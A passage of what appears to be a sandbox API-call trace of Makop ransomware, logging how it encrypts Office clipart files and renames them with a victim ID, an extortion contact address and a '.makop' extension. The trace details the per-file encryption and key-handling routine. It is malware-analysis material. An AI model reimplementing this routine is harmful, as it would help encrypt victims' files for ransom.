lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.912] GetProcessHeap () returned 0x48a0000 [0131.912] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.912] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.912] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.912] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.913] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.913] GetProcessHeap () returned 0x48a0000 [0131.913] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.913] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.913] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.913] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.917] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.917] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.917] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.918] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.918] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.918] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.918] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.918] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.918] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4b40, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4b40, lpOverlapped=0x0) returned 1 [0131.920] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4b40, dwBufLen=0x4b40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4b40) returned 1 [0131.920] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.920] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4b40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4b40, lpOverlapped=0x0) returned 1 [0131.920] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.921] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4c14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.921] SetEndOfFile (hFile=0xf0) returned 1 [0131.928] GetProcessHeap () returned 0x48a0000 [0131.928] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.928] GetProcessHeap () returned 0x48a0000 [0131.928] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.928] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.928] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.929] CloseHandle (hObject=0xf0) returned 1 [0131.930] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234376.WMF", cAlternateFileName="")) returned 1 [0131.930] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF") returned 63 [0131.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.932] GetProcessHeap () returned 0x48a0000 [0131.932] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.932] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.932] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.932] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0131.937] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.937] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.937] GetProcessHeap () returned 0x48a0000 [0131.937] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.937] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.937] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.937] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.937] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.938] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.938] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.938] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.938] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.938] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.938] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.939] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.939] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x80d4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x80d4, lpOverlapped=0x0) returned 1 [0131.940] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x80e0, dwBufLen=0x80e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x80e0) returned 1 [0131.941] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.941] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x80e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x80e0, lpOverlapped=0x0) returned 1 [0131.941] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.942] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x81b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.942] SetEndOfFile (hFile=0xf0) returned 1 [0131.949] GetProcessHeap () returned 0x48a0000 [0131.949] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.949] GetProcessHeap () returned 0x48a0000 [0131.949] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.949] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.949] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.951] CloseHandle (hObject=0xf0) returned 1 [0131.951] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0237225.WMF", cAlternateFileName="")) returned 1 [0131.951] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF") returned 63 [0131.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.952] GetProcessHeap () returned 0x48a0000 [0131.952] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.952] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.952] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.952] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.952] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.952] GetProcessHeap () returned 0x48a0000 [0131.952] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.952] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.952] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.952] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.956] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.957] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.957] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.957] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.957] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.957] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.957] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.957] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.958] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xcba0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xcba0, lpOverlapped=0x0) returned 1 [0131.960] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xcba0, dwBufLen=0xcba0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xcba0) returned 1 [0131.960] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.960] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xcba0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xcba0, lpOverlapped=0x0) returned 1 [0131.961] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.961] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xcc74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.961] SetEndOfFile (hFile=0xf0) returned 1 [0131.968] GetProcessHeap () returned 0x48a0000 [0131.968] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.968] GetProcessHeap () returned 0x48a0000 [0131.968] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.968] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.969] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.970] CloseHandle (hObject=0xf0) returned 1 [0131.970] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24625400, ftCreationTime.dwHighDateTime=0x1be8fbc, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24625400, ftLastWriteTime.dwHighDateTime=0x1be8fbc, nFileSizeHigh=0x0, nFileSizeLow=0x5700, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0237228.WMF", cAlternateFileName="")) returned 1 [0131.970] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF") returned 63 [0131.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.971] GetProcessHeap () returned 0x48a0000 [0131.971] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.971] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.971] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.971] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.971] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.972] GetProcessHeap () returned 0x48a0000 [0131.972] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.972] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.972] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.972] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.977] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.977] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.977] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.977] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.978] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.978] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.978] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.978] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.978] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5700, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5700, lpOverlapped=0x0) returned 1 [0131.980] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5700, dwBufLen=0x5700 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5700) returned 1 [0131.980] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.980] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5700, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5700, lpOverlapped=0x0) returned 1 [0131.980] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.980] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x57d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.980] SetEndOfFile (hFile=0xf0) returned 1 [0131.986] GetProcessHeap () returned 0x48a0000 [0131.987] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.987] GetProcessHeap () returned 0x48a0000 [0131.987] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.987] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.987] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.995] CloseHandle (hObject=0xf0) returned 1 [0131.995] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0237336.WMF", cAlternateFileName="")) returned 1 [0131.995] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF") returned 63 [0131.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.996] GetProcessHeap () returned 